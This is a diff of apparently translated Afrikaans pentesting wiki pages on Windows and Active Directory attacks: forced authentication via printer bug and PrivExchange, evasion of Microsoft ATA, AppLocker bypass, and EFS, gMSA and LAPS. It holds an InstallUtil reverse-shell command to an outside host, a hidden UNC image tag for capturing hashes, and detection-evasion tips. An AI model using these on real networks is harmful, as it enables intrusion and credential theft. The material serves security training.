- Implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit in om gebruikers met spesifieke regte te skep of hulle aan hoëprivilege groepe toe te voeg.
|
||||
- 'n Praktiese voorbeeld behels die gebruik van gereedskap soos: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Meer oor die implementering van misleidingstegnieke kan gevind word by [Deploy-Deception op GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
- Meer oor die ontplooiing van misleidingstegnieke kan gevind word by [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identifisering van Misleiding**
|
||||
|
||||
- **Vir Gebruikerobjekte**: Verdagte aanduiders sluit ongewone ObjectSID, ongewone aanmeldings, skeppingsdatums, en lae slegte wagwoord tellings in.
|
||||
- **Algemene Aanduiders**: Die vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwentheid onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
|
||||
- **Algemene Aanduiders**: Vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
|
||||
|
||||
### **Om Ontdekkingsisteme te Omseil**
|
||||
|
||||
- **Microsoft ATA Ontdekking Omseiling**:
|
||||
- **Gebruiker Enumerasie**: Vermy sessie-evaluering op Domein Beheerders om ATA ontdekking te voorkom.
|
||||
- **Tiket Impersonasie**: Die gebruik van **aes** sleutels vir tiket skepping help om ontdekking te ontduik deur nie na NTLM af te gradeer nie.
|
||||
- **Tiket Impersonasie**: Die gebruik van **aes** sleutels vir tiket skepping help om ontdekking te ontduik deur nie na NTLM te verlaag nie.
|
||||
- **DCSync Aanvalle**: Dit word aanbeveel om van 'n nie-Domein Beheerder uit te voer om ATA ontdekking te vermy, aangesien direkte uitvoering vanaf 'n Domein Beheerder waarskuwings sal aktiveer.
|
||||
|
||||
## Verwysings
|
||||
|
@ -13,7 +13,7 @@ Let daarop dat wanneer die drukker die kennisgewing na 'n arbitrêre stelsels st
|
||||
|
||||
### Finding Windows Servers on the domain
|
||||
|
||||
Gebruik PowerShell om 'n lys van Windows-bokse te kry. Bedieners is gewoonlik prioriteit, so kom ons fokus daar:
|
||||
Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
@ -41,21 +41,23 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||
```
|
||||
### Kombinasie met Onbeperkte Afvaardiging
|
||||
|
||||
As 'n aanvaller reeds 'n rekenaar met [Onbeperkte Afvaardiging](unconstrained-delegation.md) gecompromitteer het, kan die aanvaller **die drukker laat verifieer teen hierdie rekenaar**. As gevolg van die onbeperkte afvaardiging, sal die **TGT** van die **rekenaarrekening van die drukker** **in** die **geheue** van die rekenaar met onbeperkte afvaardiging **gestoor word**. Aangesien die aanvaller hierdie gasheer reeds gecompromitteer het, sal hy in staat wees om **hierdie kaartjie te onttrek** en dit te misbruik ([Pass the Ticket](pass-the-ticket.md)).
|
||||
As 'n aanvaller reeds 'n rekenaar met [Onbeperkte Afvaardiging](unconstrained-delegation.md) gecompromitteer het, kan die aanvaller **die drukker laat outentiseer teen hierdie rekenaar**. As gevolg van die onbeperkte afvaardiging, sal die **TGT** van die **rekenaarrekening van die drukker** **in** die **geheue** van die rekenaar met onbeperkte afvaardiging **gestoor word**. Aangesien die aanvaller hierdie gasheer reeds gecompromitteer het, sal hy in staat wees om **hierdie kaartjie te onttrek** en dit te misbruik ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## RCP Force verifikasie
|
||||
## RCP Force outentisering
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
Die `PrivExchange` aanval is 'n gevolg van 'n fout wat in die **Exchange Server `PushSubscription` kenmerk** gevind is. Hierdie kenmerk laat die Exchange-server toe om deur enige domein gebruiker met 'n posbus gedwing te word om te verifieer teen enige kliënt-gelewer gasheer oor HTTP.
|
||||
Die `PrivExchange` aanval is 'n gevolg van 'n fout wat in die **Exchange Server `PushSubscription` kenmerk** gevind is. Hierdie kenmerk laat die Exchange-server toe om deur enige domein gebruiker met 'n posbus gedwing te word om aan enige kliënt-gelewer gasheer oor HTTP te outentiseer.
|
||||
|
||||
Standaard, die **Exchange diens loop as SYSTEM** en word oorgenoeg bevoegdhede gegee (specifiek, dit het **WriteDacl bevoegdhede op die domein voor-2019 Kumulatiewe Opdatering**). Hierdie fout kan benut word om die **oorplasing van inligting na LDAP moontlik te maak en gevolglik die domein NTDS databasis te onttrek**. In gevalle waar oorplasing na LDAP nie moontlik is nie, kan hierdie fout steeds gebruik word om oor te plaas en te verifieer teen ander gasheer binne die domein. Die suksesvolle benutting van hierdie aanval bied onmiddellike toegang tot die Domein Admin met enige geverifieerde domein gebruiker rekening.
|
||||
Standaard, die **Exchange diens loop as SYSTEM** en word oormatige voorregte gegee (specifiek, dit het **WriteDacl voorregte op die domein voor-2019 Kumulatiewe Opdatering**). Hierdie fout kan benut word om die **oorplasing van inligting na LDAP moontlik te maak en gevolglik die domein NTDS databasis te onttrek**. In gevalle waar oorplasing na LDAP nie moontlik is nie, kan hierdie fout steeds gebruik word om oor te plaas en aan ander gasheers binne die domein te outentiseer. Die suksesvolle benutting van hierdie aanval bied onmiddellike toegang tot die Domein Admin met enige geoutentiseerde domein gebruiker rekening.
|
||||
|
||||
## Binne Windows
|
||||
|
||||
As jy reeds binne die Windows masjien is, kan jy Windows dwing om met 'n bediener te verbind met behulp van bevoorregte rekeninge met:
|
||||
As jy reeds binne die Windows masjien is, kan jy Windows dwing om met 'n bediener te verbind met behulp van voorregte rekeninge met:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
@ -88,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### Deur e-pos
|
||||
|
||||
As jy die **e-posadres** van die gebruiker wat binne 'n masjien aanmeld wat jy wil kompromitteer, ken, kan jy net vir hom 'n **e-pos met 'n 1x1 beeld** stuur soos
|
||||
As jy die **e-posadres** van die gebruiker wat in 'n masjien aanmeld wat jy wil kompromitteer, ken, kan jy net vir hom 'n **e-pos met 'n 1x1 beeld** stuur soos
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
@ -102,7 +104,7 @@ As jy 'n MitM-aanval op 'n rekenaar kan uitvoer en HTML in 'n bladsy kan inspuit
|
||||
```
|
||||
## Kraking NTLMv1
|
||||
|
||||
As jy [NTLMv1 uitdagings kan vang, lees hier hoe om hulle te krak](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Remember dat jy om NTLMv1 te krak die Responder-uitdaging op "1122334455667788" moet stel._
|
||||
As jy [NTLMv1 uitdagings kan vang, lees hier hoe om hulle te kraak](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Remember dat jy om NTLMv1 te kraak die Responder-uitdaging moet stel op "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -7,7 +7,7 @@
|
||||
'n Aansoek witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel te loop. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie ooreenstem met die spesifieke besigheidsbehoeftes van 'n organisasie nie.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter toepassings en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte toepassings, en verpakte toepassingsinstalleerders.\
|
||||
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe** blokkeer en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**.
|
||||
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe blokkeer** en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**.
|
||||
|
||||
### Kontroleer
|
||||
|
||||
@ -24,7 +24,7 @@ Hierdie registr pad bevat die konfigurasies en beleide wat deur AppLocker toegep
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
### Omseil
|
||||
### Bypass
|
||||
|
||||
- Nuttige **Skryfbare vouers** om die AppLocker-beleid te omseil: As AppLocker toelaat om enigiets binne `C:\Windows\System32` of `C:\Windows` uit te voer, is daar **skryfbare vouers** wat jy kan gebruik om **dit te omseil**.
|
||||
```
|
||||
@ -50,7 +50,7 @@ Plaaslike kredensiale is teenwoordig in hierdie lêer, die wagwoorde is gehasht.
|
||||
|
||||
Die **kredensiale** (gehasht) word **gestoor** in die **geheue** van hierdie subsisteem vir Enkelteken-in redes.\
|
||||
**LSA** bestuur die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikersregte...), **verifikasie**, **toegangstokens**...\
|
||||
LSA sal die een wees wat sal **kontroleer** vir verskafde kredensiale binne die **SAM** lêer (vir 'n plaaslike aanmelding) en **praat** met die **domeinbeheerder** om 'n domein gebruiker te verifieer.
|
||||
LSA sal die een wees wat die **kredensiale** in die **SAM** lêer (vir 'n plaaslike aanmelding) sal **kontroleer** en met die **domeinbeheerder** sal **praat** om 'n domein gebruiker te verifieer.
|
||||
|
||||
Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontsleutelde wagwoorde.
|
||||
|
||||
@ -71,7 +71,7 @@ Dit is die databasis van die Aktiewe Gids. Dit is slegs teenwoordig in Domein Be
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is 'n Antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit **blokkeer** algemene pentesting gereedskap soos **`WinPEAS`**. Tog is daar maniere om **hierdie beskermings te omseil**.
|
||||
|
||||
### Kontroleer
|
||||
### Kontrole
|
||||
|
||||
Om die **status** van **Defender** te kontroleer, kan jy die PS cmdlet **`Get-MpComputerStatus`** uitvoer (kontroleer die waarde van **`RealTimeProtectionEnabled`** om te weet of dit aktief is):
|
||||
|
||||
@ -110,7 +110,7 @@ EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel*
|
||||
- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), verskuif word, word hulle outomaties ontsleutel.
|
||||
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor oordrag ontsleutel.
|
||||
|
||||
Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om bloot die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie.
|
||||
Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om eenvoudig die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie.
|
||||
|
||||
**Belangrike Takeaways**:
|
||||
|
||||
@ -130,11 +130,13 @@ Jy kan ook `cipher /e` en `cipher /d` binne 'n vouer gebruik om **te versleutel*
|
||||
|
||||
#### Being Authority System
|
||||
|
||||
Hierdie metode vereis dat die **slagoffer gebruiker** 'n **proses** binne die gasheer **uitvoer**. As dit die geval is, kan jy met behulp van `meterpreter` sessies die token van die gebruiker se proses naboots (`impersonate_token` van `incognito`). Of jy kan net `migrate` na die gebruiker se proses.
|
||||
Hierdie metode vereis dat die **slagoffer gebruiker** 'n **proses** binne die gasheer **uitvoer**. As dit die geval is, kan jy met behulp van `meterpreter` sessies die token van die gebruiker se proses naboots (`impersonate_token` van `incognito`). Of jy kan eenvoudig `migrate` na die gebruiker se proses.
|
||||
|
||||
#### Knowing the users password
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
@ -142,8 +144,8 @@ Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur
|
||||
|
||||
- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
|
||||
- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen vergrendeling en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verbeter.
|
||||
- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gasheers gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
|
||||
- **Geskeduleerde Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geskeduleerde take.
|
||||
- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gashere gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
|
||||
- **Geplande Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geplande take.
|
||||
- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Service Principal Name (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
|
||||
|
||||
Die wagwoorde vir gMSA's word in die LDAP eienskap _**msDS-ManagedPassword**_ gestoor en word outomaties elke 30 dae deur Domein Beheerders (DC's) gereset. Hierdie wagwoord, 'n versleutelde datablad bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSA's geïnstalleer is, verkry word, wat 'n veilige omgewing verseker. Om toegang tot hierdie inligting te verkry, is 'n beveiligde verbinding soos LDAPS nodig, of die verbinding moet geverifieer word met 'Sealing & Secure'.
|
||||
@ -187,7 +189,7 @@ In huidige Windows sal daardie Bypass nie werk nie, maar jy kan gebruik maak van
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
||||
```
|
||||
#### Omgekeerde skulp:
|
||||
#### Omgekeerde dop:
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
@ -217,17 +219,17 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
|
||||
```
|
||||
Meer kan gevind word [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Security Support Provider Interface (SSPI)
|
||||
## Veiligheid Ondersteuningsverskaffer Koppelvlak (SSPI)
|
||||
|
||||
Is die API wat gebruik kan word om gebruikers te autentiseer.
|
||||
Is die API wat gebruik kan word om gebruikers te verifieer.
|
||||
|
||||
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter autentiseringsprotokol gebruik sal word, hierdie autentiseringsprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
|
||||
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter verifikasieprotokol gebruik sal word, hierdie verifikasieprotokolle word Veiligheid Ondersteuningsverskaffer (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
|
||||
|
||||
### Hoof SSPs
|
||||
|
||||
- **Kerberos**: Die verkieslike een
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** en **NTLMv2**: Kompatibiliteitsredes
|
||||
- **NTLMv1** en **NTLMv2**: Compatibiliteitsredes
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: Webbedieners en LDAP, wagwoord in die vorm van 'n MD5-hash
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
@ -238,13 +240,12 @@ Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir t
|
||||
|
||||
#### Die onderhandeling kan verskeie metodes of slegs een bied.
|
||||
|
||||
## UAC - User Account Control
|
||||
## UAC - Gebruikersrekeningbeheer
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak.
|
||||
[Gebruikersrekeningbeheer (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak.
|
||||
|
||||
{{#ref}}
|
||||
windows-security-controls/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Windows Veiligheidsbeheer
|
||||
# Windows Veiligheid Beheer
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,8 +6,8 @@
|
||||
|
||||
'n Aansoek witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel te loop. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie ooreenstem met die spesifieke besigheidsbehoeftes van 'n organisasie nie.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter aansoeke en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte toepassings, en verpakte toepassingsinstalleerders.\
|
||||
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe blokkeer** en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**.
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter aansoeke en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte aansoeke, en verpakte aansoek-installeerders.\
|
||||
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe** blokkeer en skryftoegang tot sekere gidse, **maar dit kan alles omseil word**.
|
||||
|
||||
### Kontroleer
|
||||
|
||||
@ -50,13 +50,13 @@ Plaaslike kredensiale is teenwoordig in hierdie lêer, die wagwoorde is gehasht.
|
||||
|
||||
Die **kredensiale** (gehasht) word **gestoor** in die **geheue** van hierdie subsisteem vir Enkelteken-in redes.\
|
||||
**LSA** bestuur die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikersregte...), **verifikasie**, **toegangstokens**...\
|
||||
LSA sal die een wees wat die **kredensiale** in die **SAM** lêer (vir 'n plaaslike aanmelding) sal **kontroleer** en met die **domeinbeheerder** sal **praat** om 'n domein gebruiker te verifieer.
|
||||
LSA sal die een wees wat sal **kontroleer** vir verskafde kredensiale binne die **SAM** lêer (vir 'n plaaslike aanmelding) en **praat** met die **domeinbeheerder** om 'n domein gebruiker te verifieer.
|
||||
|
||||
Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontsleutelde wagwoorde.
|
||||
Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontcijferbare wagwoorde.
|
||||
|
||||
### LSA geheime
|
||||
|
||||
LSA kan sommige kredensiale op skyf stoor:
|
||||
LSA kan sekere kredensiale op skyf stoor:
|
||||
|
||||
- Wagwoord van die rekenaarrekening van die Aktiewe Directory (onbereikbare domeinbeheerder).
|
||||
- Wagwoorde van die rekeninge van Windows dienste
|
||||
@ -71,7 +71,7 @@ Dit is die databasis van die Aktiewe Directory. Dit is slegs teenwoordig in Dome
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is 'n Antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit **blokkeer** algemene pentesting gereedskap soos **`WinPEAS`**. Tog is daar maniere om **hierdie beskermings te omseil**.
|
||||
|
||||
### Kontrole
|
||||
### Kontroleer
|
||||
|
||||
Om die **status** van **Defender** te kontroleer, kan jy die PS cmdlet **`Get-MpComputerStatus`** uitvoer (kontroleer die waarde van **`RealTimeProtectionEnabled`** om te weet of dit aktief is):
|
||||
|
||||
@ -103,14 +103,14 @@ sc query windefend
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel** gebruik wat bekend staan as die **File Encryption Key (FEK)**. Hierdie sleutel word versleuteld met die gebruiker se **publieke sleutel** en gestoor binne die versleutelde lêer se $EFS **alternatiewe datastroom**. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK uit die $EFS-stroom te ontsleutel. Meer besonderhede kan gevind word [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel** gebruik wat bekend staan as die **Lêer Versleuteling Sleutel (FEK)**. Hierdie sleutel word versleuteld met die gebruiker se **publieke sleutel** en gestoor binne die versleutelde lêer se $EFS **alternatiewe datastroom**. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK uit die $EFS-stroom te ontsleutel. Meer besonderhede kan [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) gevind word.
|
||||
|
||||
**Ontsleuteling scenario's sonder gebruiker inisiatief** sluit in:
|
||||
|
||||
- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), verskuif word, word hulle outomaties ontsleuteld.
|
||||
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor oordrag ontsleuteld.
|
||||
- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), verskuif word, word hulle outomaties ontsleutel.
|
||||
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor oordrag ontsleutel.
|
||||
|
||||
Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om bloot die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie.
|
||||
Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om eenvoudig die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie.
|
||||
|
||||
**Belangrike Takeaways**:
|
||||
|
||||
@ -130,21 +130,23 @@ Jy kan ook `cipher /e` en `cipher /d` binne 'n vouer gebruik om **te versleutel*
|
||||
|
||||
#### Being Authority System
|
||||
|
||||
Hierdie metode vereis dat die **slagoffer gebruiker** 'n **proses** binne die gasheer **uitvoer**. As dit die geval is, kan jy met behulp van `meterpreter` sessies die token van die gebruiker se proses naboots (`impersonate_token` van `incognito`). Of jy kan net `migrate` na die gebruiker se proses.
|
||||
Hierdie metode vereis dat die **slagoffer gebruiker** 'n **proses** binne die gasheer **uitvoer**. As dit die geval is, kan jy met behulp van `meterpreter` sessies die token van die gebruiker se proses naboots (`impersonate_token` van `incognito`). Of jy kan eenvoudig `migrate` na die gebruiker se proses.
|
||||
|
||||
#### Knowing the users password
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing:
|
||||
Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastruktuur te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing:
|
||||
|
||||
- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
|
||||
- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Sleutelverspreidingsdiens (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
|
||||
- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen vergrendeling en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verbeter.
|
||||
- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gasheers gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
|
||||
- **Geskeduleerde Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geskeduleerde take.
|
||||
- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Service Principal Name (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
|
||||
- **Geplande Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geplande take.
|
||||
- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Diens Prinsipaal Naam (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
|
||||
|
||||
Die wagwoorde vir gMSA's word in die LDAP eienskap _**msDS-ManagedPassword**_ gestoor en word outomaties elke 30 dae deur Domein Beheerders (DC's) gereset. Hierdie wagwoord, 'n versleutelde datablad bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSA's geïnstalleer is, verkry word, wat 'n veilige omgewing verseker. Om toegang tot hierdie inligting te verkry, is 'n beveiligde verbinding soos LDAPS nodig, of die verbinding moet geverifieer word met 'Sealing & Secure'.
|
||||
|
||||
@ -160,7 +162,7 @@ Kyk ook na hierdie [webblad](https://cube0x0.github.io/Relaying-for-gMSA/) oor h
|
||||
|
||||
## LAPS
|
||||
|
||||
Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai van [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrateur wagwoorde in staat. Hierdie wagwoorde, wat **ewekansig**, uniek, en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde is beperk deur ACLs tot gemagtigde gebruikers. Met voldoende toestemmings wat toegeken word, word die vermoë om plaaslike admin wagwoorde te lees, verskaf.
|
||||
Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai van [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrateur wagwoorde in staat. Hierdie wagwoorde, wat **ewekansig**, uniek, en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde is beperk deur ACLs aan gemagtigde gebruikers. Met voldoende toestemmings wat toegeken word, word die vermoë om plaaslike admin wagwoorde te lees, verskaf.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -181,7 +183,7 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
